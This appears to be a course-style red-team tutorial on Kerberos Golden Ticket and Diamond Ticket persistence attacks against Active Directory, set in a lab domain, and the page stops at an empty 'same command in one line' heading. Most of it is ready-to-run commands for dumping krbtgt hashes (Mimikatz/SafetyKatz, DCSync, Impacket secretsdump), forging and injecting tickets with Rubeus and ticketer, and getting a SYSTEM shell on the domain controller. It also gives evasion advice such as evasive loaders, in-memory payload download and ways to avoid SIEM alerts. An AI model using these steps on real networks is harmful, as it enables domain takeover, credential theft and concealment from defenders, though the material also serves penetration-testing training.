Persistence
Golden Ticket Attack
Understanding The Core Concept
🔐 What Is a Golden Ticket?
A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket), which uses the krbtgt account’s secret key to sign the ticket. Since all TGTs are signed by the krbtgt account, having its hash (or AES key) allows an attacker to create arbitrary TGTs for any user — even if that user doesn’t exist.
🧱 Golden Ticket Rule (in Layman Terms):
If an attacker has the krbtgt hash (or AES key), the domain SID, and other basic user info (e.g. username, group memberships), they can impersonate any user in the domain by crafting a fake TGT.
🧱 Core Ingredients for Golden Ticket Attack
You need:
🔧 How the Golden Ticket Attack Works (Step-by-Step)
✅ Step 1: Compromise the Domain
Before anything, the attacker must compromise a privileged account, usually a Domain Admin.
This gives them access to read the memory or replicate secrets from the Domain Controller.
✅ Step 2: Steal the krbtgt Account Hash
The krbtgt account is a special user in every AD domain — it’s used by the Kerberos service to sign Ticket Granting Tickets (TGTs).
The attacker needs the krbtgt password hash, especially the AES256 or NTLM hash, to forge their own TGTs.
There are two common ways to get this:
Dump LSASS memory on the Domain Controller using Mimikatz or SafetyKatz.
Use DCSync to remotely request the krbtgt account’s password data (no code needed on DC).
Additonal Information:
The krbtgt account is just like any other domain account — it has a password and derived Kerberos keys (NT hash, AES128, AES256, DES, etc.).
On a Domain Controller (KDC), those secrets are stored in Active Directory database (NTDS.dit).
Located at:
C:\Windows\NTDS\NTDS.dit
✅ Step 3: Forge the Golden Ticket
With the krbtgt hash in hand, the attacker uses tools like Rubeus or Mimikatz to forge a TGT.
They can craft it to:
Impersonate any user (even Administrator).
Be a part of any group (like Domain Admins).
Add details like password set date, group SIDs, etc., to make it look authentic.
Make the ticket valid for 10 years if they want.
Additonal Information:-
The krbtgt account (which is used by the KDC to sign and encrypt Ticket Granting Tickets) maintains a password history of two previous keys by default. When you perform a Golden Ticket attack and sign a TGT using an old krbtgt AES key (from before a password change), the KDC can still validate and decrypt that TGT because it will try not only the current key but also the last one (sometimes two, depending on configuration).
So even if the krbtgt password has been rotated, any ticket forged with one of the valid historical keys will still be accepted until both old keys have been cycled out (e.g., after two password changes).
⚠️ What this means:
If an attacker has extracted the
krbtgthash once, they can forge Golden Tickets that remain valid until thekrbtgtpassword has been changed twice.This is why incident response teams are instructed to reset the
krbtgtaccount twice in succession, ensuring all old keys are invalidated.
✅ Step 4: Use the Ticket (God Mode Activated)
The attacker injects the forged ticket into memory on their system using /ptt (Pass-the-Ticket). Now, any requests they send to services (like SMB, LDAP, RDP) include this ticket.
Since it looks legit, the DC doesn’t challenge it. The attacker now:
Accesses sensitive servers
Dumps password hashes
Moves laterally
Dumps or modifies Active Directory itself
🧬 Why It’s So Dangerous
Note:- In real-world assessments, Golden Ticket attacks are typically avoided unless the objective is to test detection capabilities. This is because the attack involves the krbtgt account, which is a highly sensitive system account used by the Kerberos Key Distribution Center. You not find anywhere this account to be logged in accept DC.
The primary detection risk in a Golden Ticket attack isn’t the ticket forgery itself, but the act of obtaining the krbtgt hash — which typically requires access to a Domain Admin session on a Domain Controller. Logging in as a Domain Admin, through any machine which is not DC, generates Event ID 4624, which is closely monitored by most EDRs and SIEMs. As a result, this step can easily trigger alerts, making the operation high-risk from an opsec standpoint.
Only go after protected group accounts when no option is left because these account are highly monitored.
🔁 3. Ticket Forged – What Next?
Once forged, Rubeus injects it into memory (/ptt). Now:
You are effectively “logged in” as Administrator.
TGT will be accepted as valid by any service in the domain (because it’s signed with krbtgt’s key)
You can access file shares, remote desktop, AD data, or run tools like SharpHound, secretsdump, or dcsync.
The DC will trust the ticket, even if the real admin changed passwords.
The forged TGT remains valid until expiry (usually 10 hours by default), but you can forge again anytime.
Advantage of Golden Ticket
🔍 Persistance Peroid of Golden Ticket Attack
1. Golden Ticket Persistence
A Golden Ticket is forged using the
krbtgtaccount hash.Persistence: Valid until the
krbtgtaccount password is changed.- By default, krbtgt rarely changes because it’s a sensitive account (resetting can disrupt Kerberos).
- In most real environments, admins don’t rotate it often → meaning Golden Tickets can last for months/years if unnoticed.
🎯 The Point of Forging a Golden Ticket
- Persistence (long-term backdoor):
- DA rights can be removed (your admin user deleted, passwords rotated, etc.).
- But if you’ve stolen the
krbtgthash, you can always mint a new Golden Ticket on demand — even months later. - It’s like having a skeleton key to the domain until the defenders rotate
krbtgttwice.
- Stealth:
- Using DA account directly leaves traces in event logs (logons, group memberships, etc.).
- A forged Golden Ticket can impersonate any user or a fake user (with arbitrary groups), making it harder to correlate activities.
- Flexibility:
- You don’t have to stick with the DA account you compromised.
- You can forge tickets for any account (e.g., a service account or a fake user) with any group memberships you want.
- Example: Forge a ticket for a helpdesk user but sneak in
Domain Adminsgroup membership.
- Bypass of normal credential protections:
- Even if defenders disable the compromised DA account, you still have unlimited access via forged tickets.
- This is why Golden Tickets are considered a persistence technique more than just a lateral movement trick.
- Cross-forest or selective abuse:
- Sometimes you don’t want to move as “Administrator.”
- Forging a ticket for a trusted account in a forest/domain trust scenario can be more effective and less noisy.
⚖️ Simplified Analogy
Getting DA = you broke into the bank vault with all the money.
Golden Ticket = you made a master key that always works, even if the bank changes the locks or fires the guard who let you in.
👉 So the value isn’t privilege escalation, it’s persistence, stealth, and flexibility.
Example - Windows
🛠️ Step-by-Step Golden Ticket Attack :
🔑 1. Obtain the krbtgt Account Hash (AES256 key)
This is the most critical step in forging a golden ticket.
Method 1: Using SafetyKatz on the DC (as Domain Admin)
C:\AD\Tools\SafetyKatz.exe "lsadump::lsa /patch"
Tool: SafetyKatz (a variant of Mimikatz).
What it does: Dumps LSA secrets, including the krbtgt NTLM and AES256 keys.
Where: Must be run on the DC with DA privileges.
Detection risk: HIGH (needs code execution on the DC).
Method 2: Using DCSync (No code execution on DC)
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
Uses Directory Replication Service (DRS) to fetch the krbtgt hash remotely.
Requires DA privileges or replication rights (e.g.,
Replicating Directory Changespermissions).More stealthy and opsec friendly as no code runs on the DC, it’s just a protocol request
✅ Obtained AES256 Key:
154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
🧪 2. Forge the Golden Ticket Using Rubeus
You use this krbtgt AES256 key to generate a fake TGT with Rubeus.
Option 1: automatic mode with LDAP queries
C:\AD\Tools\Rubeus.exe golden
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/sid:S-1-5-21-719815819-3726368948-3917688648
/ldap
/user:Administrator
/printcmd
What it does:
golden→ Instructs Rubeus to forge a Golden Ticket (a fake TGT)./aes256:...→ Supplies the AES256 key of thekrbtgtaccount (essential to sign the ticket)./sid:...→ Domain SID; required to build the full user SID./ldap→ Makes Rubeus automatically query the Domain Controller via LDAP to pull extra attributes needed for the ticket (like groups, logon count, pwdlastset, etc.)./user:Administrator→ Username to impersonate in the forged TGT./printcmd→ Instead of creating the ticket directly, it prints a full “ready to run” forging command with all the discovered attributes.
👉 Here, Rubeus sends 3 LDAP queries to the DC:
Gets user account control (UAC) flags for
Administrator.Gets group memberships, primary group ID, minPwdAge, maxPwdAge.
Gets domain NetBIOS name.
This version is very easy but less OPSEC-friendly since the LDAP queries can be logged/monitored.
Option 2: manual mode — refined Golden Ticket forging
C:\AD\Tools\Rubeus.exe golden
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/user:Administrator /id:500 /pgid:513
/domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-719815819-3726368948-3917688648
/pwdlastset:"11/11/2022 6:33:55 AM"
/minpassage:1 /logoncount:2453 /netbios:dcorp
/groups:544,512,520,513
/dc:DCORP-DC.dollarcorp.moneycorp.local
/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
/ptt
This command forges a Kerberos Ticket Granting Ticket (TGT) for the Administrator user, signs it with the krbtgt AES256 hash, and then injects it directly into memory (/ptt) so the current session can use it for domain access without needing a real password.
👉 This command does not query LDAP. Instead, you supply all required attributes yourself — making it more stealthy/OPSEC friendly.
✅ Explanation of Key Parameters:
Rubeus.exe golden | Invokes the Golden Ticket forging module in Rubeus |/aes256:<hash> | The AES256 key of the krbtgt account — used to sign the fake TGT so it appears valid to the DC |/user:Administrator | The username the ticket will impersonate (in this case, the domain admin account) |/id:500 | RID (Relative ID) of the Administrator account in AD (500 = default RID for built-in admin) |/pgid:513 | Primary Group ID — usually 513 = Domain Users |/domain:dollarcorp.moneycorp.local | Fully Qualified Domain Name (FQDN) of the AD domain |/sid:S-1-5-21-... | The Domain SID — critical for forging valid tickets |/pwdlastset:"11/11/2022 6:33:55 AM" | Timestamp indicating when the password was last set (optional cosmetic realism) |/minpassage:1 | Minimum password age in days (optional, helps look like a legit ticket) |/logoncount:2453 | Number of times the user has logged on (also for realism) |/netbios:dcorp | The NetBIOS name of the domain (short name) |/groups:544,512,520,513 | The group RIDs the user belongs to:🔹 544 = Administrators🔹 512 = Domain Admins🔹 520 = Enterprise Admins🔹 513 = Domain UsersThis makes the forged ticket grant high-level access |/dc:DCORP-DC.dollarcorp.moneycorp.local | The FQDN of the Domain Controller to target or contact |/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD | UserAccountControl flags — e.g. normal account, password never expires |/ptt or /ticket | Pass-the-Ticket(/ptt): injects the forged ticket into the current session’s memory (no need to save it to disk)/ticket - saves ticket to a file for later usage |
“When forging a Golden Ticket, make sure its lifetime matches the target environment. By default, Kerberos tickets last about 10 hours, but tools like Mimikatz may create tickets that last for 10 years, which can be easily detected. To stay stealthy, set a realistic lifetime using options like /endin:8h in Rubeus.”
When forging a Golden Ticket, it’s important to base it on a valid, active user account rather than a dormant or the built-in Administrator account. Using inactive accounts or Administrator directly can trigger suspicion — for example, the logon count of those accounts will suddenly increase after years of inactivity, which can stand out in monitoring tools and SIEM alerts. Forging tickets for a legitimate, regularly used account blends better with normal domain activity and is less likely to be detected.
What if we impersonate a non-existing user?
Surprisingly:
✅ It can still work.
Because during TGS validation, the KDC mainly checks:
Is the TGT correctly signed with krbtgt key?
It does not always verify the user exists in AD.
So the ticket could contain:
username = hacker123
RID = 5000
And the KDC may still issue service tickets.
5️⃣ Why This Is Possible
Kerberos is stateless regarding TGT issuance.
The KDC does not store issued tickets.
Instead it just:
decrypt TGT using krbtgt key
If decryption succeeds:
ticket = trusted
That’s it.
6️⃣ But In Practice Attackers Avoid Fake Users
Even though it works, operators usually impersonate real accounts.
Reasons:
1️⃣ Logging anomalies
Logs may show:
User: hacker123
but that user doesn’t exist in AD.
SOC tools can detect that.
2️⃣ Some services perform directory checks
Some applications query AD:
Does this user exist?
If not → access denied.
3️⃣ SID mismatch detection
A forged user might produce strange SIDs like:
S-1-5-21-xxx-xxx-xxx-9999
which defenders can flag.
7️⃣ Realistic Attacker Strategy
Instead attackers usually forge tickets for:
existing admin accounts
service accounts
regular users with admin groups
Example:
svc_backup
helpdesk_admin
dbadmin
This blends into normal activity
Example - Linux
🔑 Step 1 — Obtain the krbtgt Hash
The Golden Ticket requires the hash/key of the krbtgt account, because:
The KDC signs all TGTs using the krbtgt key.
If you have the key, you can sign your own TGT, and the Domain Controller will trust it.
Method 1 — Using DCSync (Most Common)
From Linux using Impacket:
impacket-secretsdump pirate.htb/administrator:'Password@123!'@DC01.pirate.htb
or using pass-the-hash
impacket-secretsdump-hashes :NTLMHASH pirate.htb/administrator@DC01.pirate.htb
What happens internally
secretsdump performs a DCSync attack.
It asks the DC:
“Hey, I am a domain controller. Send me replication data.”
The DC sends password hashes of domain users, including:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:154cb6624b1d859f7080a6615adc488f
Important values:
Example Output
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:154cb6624b1d859f7080a6615adc488f
You extract:
krbtgt NTLM hash
or AES keys if present.
🧪 Step 2 — Gather Domain Information
To forge a Golden Ticket you need:
Getting Domain SID
Using lookupsid
impacket-lookupsid pirate.htb/administrator:'Password@123!'@DC01.pirate.htb
Output:
[*] Domain SID is: S-1-5-21-719815819-3726368948-3917688648
Save this.
🧪 Step 3 — Forge Golden Ticket (ticketer.py)
Now we generate the fake TGT.
impacket-ticketer \
-nthash 154cb6624b1d859f7080a6615adc488f \
-domain-sid S-1-5-21-719815819-3726368948-3917688648 \
-domain pirate.htb \
-user-id 500 \
Administrator
Explanation of Parameters
ticketer.py | Impacket tool that creates forged Kerberos tickets |-nthash | NTLM hash of krbtgt account |-domain-sid | Domain SID used to build user SID |-domain | Target domain |-user-id | RID of impersonated user |Administrator | Username we are forging |What the Tool Does Internally
ticketer.py creates a fake TGT containing:
User: Administrator
SID: S-1-5-21-xxxx-xxxx-xxxx-500
Groups: Domain Admins
Ticket lifetime
Kerberos flags
Then it signs the ticket using the krbtgt key.
Because the DC trusts krbtgt, it accepts the ticket.
Output
[*] Saving ticket in Administrator.ccache
The forged Golden Ticket is saved as:
Administrator.ccache
🎟️ Step 4 — Load the Golden Ticket
Set the Kerberos ticket environment variable.
exportKRB5CCNAME=Administrator.ccache
Verify ticket:
klist
Output:
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@PIRATE.HTB
🚀 Step 5 — Use the Ticket to Access Domain Services
Now we can authenticate without a password.
Example 1 — Access SMB
impacket-smbclient-k-no-pass //DC01.pirate.htb/C$
Explanation:
-k | Use Kerberos |-no-pass | Do not request password |Example 2 — Execute Commands on DC
impacket-psexec-k-no-pass pirate.htb/Administrator@DC01.pirate.htb
Result:
C:\Windows\system32>
You now have SYSTEM shell on the Domain Controller.
Example 3 — Dump Domain Again
impacket-secretsdump-k-no-pass pirate.htb/Administrator@DC01.pirate.htb
Works because the ticket gives DA privileges.
⚠️ Why Golden Ticket Is So Powerful
Golden Ticket allows:
Ticket Lifetime
Bad attackers create 10 year tickets.
Better approach:
-end-time 8h
Match environment Kerberos lifetime.
Avoid Using Administrator
Using Administrator triggers alerts because:
LogonCount suddenly increases
Better:
Forge ticket for active admin user
Example:
svc_backup
helpdesk_admin
🔥 The Critical Defense
The ONLY way to invalidate Golden Tickets:
Rotate krbtgt password twice
Reason:
AD stores two krbtgt hashes for ticket validation.
⭐ Key Insight (Very Important)
Golden Ticket works because:
Service does NOT contact DC to validate TGT signature
Instead:
Service trusts krbtgt key used to sign ticket
So if you know krbtgt key → you become the KDC.
Windows PoC - Example
In past videos we know svcadmin is the domain admin and we have the AES key of it. So, we will you this key to start a session of svcadmin using overpass the hash.
Rubeus.exe asktgt /user:svcadmin /aes256 <aes_key> /opsec
/createnetonly:C:\Windows\System32\cmd.ece /show /ptt
OR
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
This will open a new cmd with elevated privileges of svcadmin.
Next run dcsync attack, which will allow us request krbtgt hash:
C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe
"lsadump::dcsync /user:dcorp\krbtgt" "exit"
OR
C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe -
args "lsadump::evasive-dcsync /user:dcorp\krbtgt" "exit" ----> prefered
In output we got NTLM hash, AES 256 and 128 hash. For forging the golden ticket use AES256 key hash, because modern system uses AES256 keys
Alternate method instead of dcsync:
Transfer Loader.exe to the domain controller, being svcadmin - doman admin, it can copy files to the dc.
Next connect to the DC using winrs:
echo F| xcopy c:\User\Public\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe /Y
winrs -r:dcorp-dc cmd
now create port forwarding for protecting from defender:
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0
connectport=80 connectaddress=172.16.100.1
next download and execute safetykatz in the memory:
C:\Users\Public\Loader.exe -path [http://127.0.0.1:8080/Safetykatz.exe](http://127.0.0.1:8080/Safetykatz.exe)
-args "lsadump::evasive-lsa" "exit"
this will provide us with RC4(NTLM) keys of krbtgt account, inorder to get the AES key you have dcsync attack(which we performed above)
Next we will forge the golden ticket using option1 method:
C:\AD\Tools\Rubeus.exe golden
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator
/printcmd
Or
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe evasive-golden
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator
/printcmd -------> prefered
same command as above but in one line:-
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-golden /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd
the output of the previous command suggest the next command to use, make required adjustments to the command:
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-Golden
/aes256:154CB6624B1D859F7080A6615ADC488F09F92843879B3D914CBCB5A8C3CDA848
/user:Administrator
/id:500
/pgid:513
/domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-719815819-3726368948-3917688648
/pwdlastset:"11/11/2022 6:34:22 AM"
/minpassage:1
/logoncount:153
/netbios:dcorp
/groups:544,512,520
/dc:DCORP-DC.dollarcorp.moneycorp.local
/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
/ptt
Same command but in one line:-
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-Golden /aes256:154CB6624B1D859F7080A6615ADC488F09F92843879B3D914CBCB5A8C3CDA848 /user:Administrator /id:500 /pgid:513 /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /pwdlastset:"11/11/2022 6:34:22 AM" /minpassage:1 /logoncount:153 /netbios:dcorp /groups:544,512,520 /dc:DCORP-DC.dollarcorp.moneycorp.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt
Above command will forge the golden ticket on behalf of Administrator and will import it in the current session
Now Accessing DC on behalf of Administrator
Diamond Ticket Attack
Understanding The Core Concept
💎 What is a Diamond Ticket Attack?
A Diamond Ticket is a Kerberos TGT modification attack.
Unlike Golden Ticket (which creates a fake TGT from scratch), Diamond Ticket modifies a real TGT issued by the domain controller, then re-encrypts it using the krbtgt keys to make it stealthy and valid.
🔹 Difference from Golden Ticket
Golden Ticket = forging a brand-new TGT from scratch.
Diamond Ticket = modifying an already valid TGT.
Why is this important?
Golden Ticket leaves no AS-REQ trail (no log showing the ticket was ever requested).
Diamond Ticket has valid timestamps and log evidence (because the original TGT came from the DC).
This makes Diamond Ticket more OPSEC safe (harder to detect).
The Golden Ticket attack involves creating a completely new TGT (Ticket Granting Ticket) offline using the krbtgt account hash, without any interaction with the KDC. However, in certain environments, the KDC keeps track of AS-REQ (Authentication Service Request) logs and correlates issued TGTs with corresponding requests. Since a Golden Ticket never involves a real AS-REQ, the KDC has no record of issuing that TGT, which can potentially trigger detections or alerts.
To overcome this limitation and improve stealth, attackers use the Diamond Ticket attack, where they start with a legitimate TGT issued by the KDC, then decrypt, modify, and re-encrypt it using the krbtgt key. This way, the ticket appears legitimate, matches the original AS-REQ record, and bypasses detections based on missing Kerberos ticket issuance logs.
✅ Key Properties:
krbtgt key (AES preferred), and valid TGT |/diamond option |🔍 Why is it called “Diamond Ticket”?
It’s sharper and stealthier than Golden Ticket.
It’s a modified legit TGT, not a fabricated one.
It appears 100% legitimate to the DC since it’s based on a valid ticket.
Detection is very difficult since the ticket times, structure, and signatures are correct.
🔹 Persistence
Just like a Golden Ticket, the persistence lifetime of a Diamond Ticket depends on the
krbtgtaccount password/keys.If the
krbtgtkey is rotated twice, both Golden and Diamond Tickets become invalid.
Why It’s Stealthier Than Golden Ticket
✅ Diamond is stealthier because:
Legitimate initial TGT request logs normally
No suspicious “user requested TGT with PA-PAC-REQUEST=false”
Ticket times are always correct (no calculation errors)
Event logs show normal user authentication
Diagram Explanation
Rubeus Command Structure
rubeus.exe diamond /tgtdeleg /ticketuser:DOMAIN\Username /ticketuserid:1106
/groups:512 /krbkey:KRBTGT_KEY_HEX /outfile:ticket.kirbi
Core Parameters Explained
diamond | Selects the attack mode | Routing to Diamond ticket logic |/tgtdeleg | Request TGT via delegation | Legitimate TGT retrieval module |/ticketuser | Target user identity to forge | User spoofing component |/ticketuserid | RID of forged user | SID generator |/groups | Forged group memberships | PAC privilege escalation |/krbkey | KRBTGT master key (AES256) | Cryptographic signing engine |/outfile | Save forged ticket to disk | Serialization module |Internal Components Architecture
┌─────────────────────────────────────────────────────┐
│ RUBEUS DIAMOND TICKET ENGINE │
└─────────────────────────────────────────────────────┘
│
┌─────────────────┼─────────────────┐
│ │ │
┌───▼────┐ ┌───▼────┐ ┌───▼────┐
│ TGT │ │ TICKET │ │ PAC │
│RETRIEVAL │MODIFIER │SIGNER │
└────────┘ └────────┘ └────────┘
│ │ │
│ │ │
1️⃣ LEGITIMATE 2️⃣ MODIFY 3️⃣ RE-SIGN
AS-REQ/TGT PLAINTEXT WITH KRBTGT
│ │ │
└─────────────────┼─────────────────┘
│
┌────▼─────┐
│ ENCRYPT │
│ & EXPORT │
└───────────┘
│
ticket.kirbi
Component 1: TGT Delegation Retrieval (/tgtdeleg)
What It Does
Requests a legitimate Ticket-Granting Ticket from the Domain Controller using the current user’s credentials.
Internal Operations
Step 1: AS-REQ Construction
├─ client_name = current_user
├─ realm = DOMAIN
├─ nonce = random_32bit
└─ cname = client principal name
Step 2: Cryptographic Binding
├─ Derive key from user password (PBKDF2)
├─ Create PA-ENC-TIMESTAMP
│ └─ Timestamp encrypted with user's key
└─ Sign request with user's credentials
Step 3: DC Response (AS-REP)
├─ Receive encrypted TGT
├─ Decrypt using user's password-derived key
└─ Extract plaintext TGT components
What Rubeus Extracts from TGT
// From the encrypted TGT blob
struct TicketData {
int flags; // Renewable, forwarded, etc.
string realm; // DOMAIN.COM
string server_name; // krbtgt/DOMAIN.COM
Timestamp auth_time; // When TGT was created
Timestamp start_time; // Valid from
Timestamp end_time; // Expires (typically 10 hours)
Timestamp renew_till; // Can renew until
Ticket ticket; // Encrypted AS-REP part
EncryptedData enc_part; // Encrypted TGT contents
}
Component 2: Ticket Modifier
What It Modifies
┌──────────────────────────────────────┐
│ DECRYPT TGT (using KRBTGT key) │
└──────────────────────────────────────┘
│
┌─────────────┼─────────────┐
│ │ │
▼ ▼ ▼
PRINCIPAL GROUPS TIMESTAMPS
NAMES (RIDs/SIDs)
│ │ │
With /ticketuser:DOMAIN\NewUser
├─ Replace cname (client name)
├─ Replace crealm (client realm)
└─ Update name-type indicator
With /groups:512
├─ 512 = Domain Admins RID
├─ Insert SID: S-1-5-21-DOMAIN-512
└─ Update PAC_GROUPS_AND_RESOURCE_GROUPS
With /krbkey:HEX_KEY
├─ Use for decryption operations
└─ Use for re-signing operations
Encrypted Part Decryption
Encrypted TGT (from DC)
│
├─ Algorithm: AES256-CTS (RFC 3962)
├─ Key: KRBTGT master key (AES256 derived from password)
└─ IV: First 16 bytes of encrypted blob
│
▼
EncKDCRepPart (plaintext)
├─ Key (session key for this TGT)
├─ Last-req
├─ Nonce (should match request nonce)
├─ Flags
└─ **PAC (Privilege Attribute Certificate)**
Component 3: PAC Modifier & Signer
This is the most critical component for the attack.
PAC Structure
PAC Buffer (within TGT)
│
├─ PAC_LOGON_INFO (0)
│ ├─ User Name
│ ├─ Domain Name
│ ├─ User RID
│ ├─ Primary Group RID
│ ├─ Group Count
│ └─ Group RIDs ◄─── MODIFIED HERE
│
├─ PAC_CREDENTIAL_INFO (1)
│ └─ Encrypted with session key (not modified)
│
├─ PAC_SERVER_CHECKSUM (6) ◄─── RE-SIGNED HERE
│ ├─ Algorithm: HmacSHA1 or HmacSHA256
│ ├─ Signed over: PAC_LOGON_INFO + other buffers
│ └─ Key: KRBTGT key
│
└─ PAC_PRIVSVR_CHECKSUM (7) ◄─── RE-SIGNED HERE
├─ Algorithm: HmacSHA1 or HmacSHA256
├─ Signed over: All other buffers
└─ Key: KRBTGT key
Modification Workflow in Rubeus
1. DESERIALIZE (unmarshal ASN.1)
├─ Parse DER-encoded TGT structure
└─ Convert to C# objects
2. DECRYPT enc_part (using KRBTGT key)
├─ Extract session key
├─ Extract PAC buffer array
└─ Locate LogonInfo buffer
3. MODIFY LOGON_INFO
├─ Update user_name = /ticketuser value
├─ Update user_rid = /ticketuserid value
├─ Update GroupIds array
│ └─ For each RID in /groups:
│ ├─ Create SID: S-1-5-21-DOMAIN-RID
│ └─ Append to GroupIds
└─ Recalculate buffer offsets
4. RE-CALCULATE CHECKSUMS
├─ Server Checksum:
│ └─ HMAC-SHA256(KRBTGT_key, PAC_LogonInfo)
├─ KDC Checksum:
│ └─ HMAC-SHA256(KRBTGT_key, all_other_buffers)
└─ Update checksum buffers in PAC
5. RE-ENCRYPT enc_part
├─ Encrypt modified EncKDCRepPart
├─ Algorithm: AES256-CTS
└─ Key: KRBTGT key (again)
Component 4: Ticket Re-Encryption & Serialization
Final Encryption
Modified EncKDCRepPart (plaintext with new PAC)
│
├─ Cipher: AES256-CTS
├─ Key: KRBTGT key
└─ Generate random IV
│
▼
Encrypted Blob
│
├─ Concatenate: IV + Ciphertext
└─ Store in Ticket structure
Ticket {
tkt_vno = 5 (Kerberos version)
realm = DOMAIN.COM
sname = krbtgt/DOMAIN.COM
enc_part {
etype = 18 (AES256-CTS)
cipher_text = [IV + encrypted_data]
}
}
Kirbi Format Export
Rubeus exports as .kirbi (Rubeus native format)
│
├─ File Header: "Kirbi" magic bytes
├─ TGT Structure: Full Ticket + optional Service Ticket
└─ Base64 encoding (optional, depending on flag)
Alternative exports:
├─ /outfile:ticket.kirbi → Binary kirbi format
├─ /outfile:ticket.b64 → Base64-encoded kirbi
└─ /copy → Load directly to memory
Key Cryptographic Operations
1. Key Derivation (for understanding)
KRBTGT_KEY (AES256) derivation:
┌─────────────────────────────────────────┐
│ Pbkdf2_HMAC_SHA1(password, salt, iterations)
├─ password = KRBTGT account password
├─ salt = DOMAIN.COMkrbtgt (realm + SPN)
├─ iterations = 4096
└─ output = 32 bytes (AES256 key)
└─────────────────────────────────────────┘
2. HMAC Checksum (critical for PAC)
Server Checksum (protects PAC_LOGON_INFO):
─────────────────────────────────────────
checksum = HMAC-SHA256(
key = KRBTGT_KEY,
message = PAC_LOGON_INFO buffer
)
output = 32 bytes (SHA256 produces 32)
KDC Checksum (protects everything else):
─────────────────────────────────────────
checksum = HMAC-SHA256(
key = KRBTGT_KEY,
message = PAC_SERVER_CHECKSUM || PAC_CREDENTIAL_INFO || ...
)
How Rubeus Handles Encryption/Decryption
Rubeus uses Bouncy Castle cryptography library internally:
// Simplified conceptual flow
// 1. AES256-CTS Decryption
var cipher = new CtsBlockCipher(new AesEngine());
cipher.Init(false, new KeyParameter(krbtgtKey)); // false = decrypt mode
byte[] plaintext = new byte[ciphertext.Length];
cipher.ProcessBytes(ciphertext, 0, ciphertext.Length, plaintext, 0);
// 2. HMAC-SHA256 Signing
var hmac = new HMac(new Sha256Digest());
hmac.Init(new KeyParameter(krbtgtKey));
hmac.BlockUpdate(bufferToSign, 0, bufferToSign.Length);
byte[] checksum = new byte[hmac.GetMacSize()];
hmac.DoFinal(checksum, 0);
Data Flow Diagram
┌──────────────────────────┐
│ DC (Domain Controller) │
│ │
│ Receives: AS-REQ │◄──── Current user credentials
│ Sends: AS-REP with TGT │
└──────────────┬───────────┘
│
│ Legitimate TGT
│ (KRBTGT-encrypted)
▼
┌──────────────────────────────────────┐
│ RUBEUS DIAMOND ENGINE │
│ │
│ 1. Decrypt with /krbkey │
│ └─ Gets plaintext TGT │
│ │
│ 2. Extract PAC from TGT │
│ └─ Gets logon info + checksums │
│ │
│ 3. Modify: │
│ ├─ User RID → /ticketuserid │
│ ├─ User name → /ticketuser │
│ └─ Groups → /groups parameters │
│ │
│ 4. Re-sign PAC: │
│ ├─ Server checksum (HMAC-SHA256) │
│ └─ KDC checksum (HMAC-SHA256) │
│ │
│ 5. Re-encrypt with KRBTGT key │
│ │
│ 6. Export to /outfile:ticket.kirbi │
└──────────────┬───────────────────────┘
│
│ Forged TGT
│ (appears DC-signed)
▼
┌──────────────────────────┐
│ Use with Kerberos tools │
│ (Pass-the-Ticket, etc.) │
└──────────────────────────┘
Windows Example
🪜 Step-by-Step: Diamond Ticket Attack
🧩 Step 1: Dump the krbtgt AES key
If you have DA privileges or DCSync, use Mimikatz:
lsadump::lsa /inject
Look for:
AES256_hmac : <long krbtgt AES key>
🧩 Step 2: Obtain a valid TGT
Two ways to do it:
Option A: Via /tgtdeleg (no password needed)
If you’re running code as a domain user and delegation is enabled:
Rubeus.exe tgtdeleg
This extracts a valid TGT from memory of the current user session.
Option B: With username & password
Use credentials of a domain user to request a TGT:
Rubeus.exe asktgt /user:studentx /password:StudentxPassword /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /enctype:aes /ptt
🧩 Step 3: Use Rubeus to modify the TGT → Diamond Ticket
Two main ways:
1. Using credentials of a domain user
Rubeus.exe diamond
/krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/user:studentx
/password:StudentxPassword
/enctype:aes
/ticketuser:administrator
/domain:dollarcorp.moneycorp.local
/dc:dcorp-dc.dollarcorp.moneycorp.local
/ticketuserid:500
/groups:512
/createnetonly:C:\Windows\System32\cmd.exe
/show
/ptt
same command in one line:
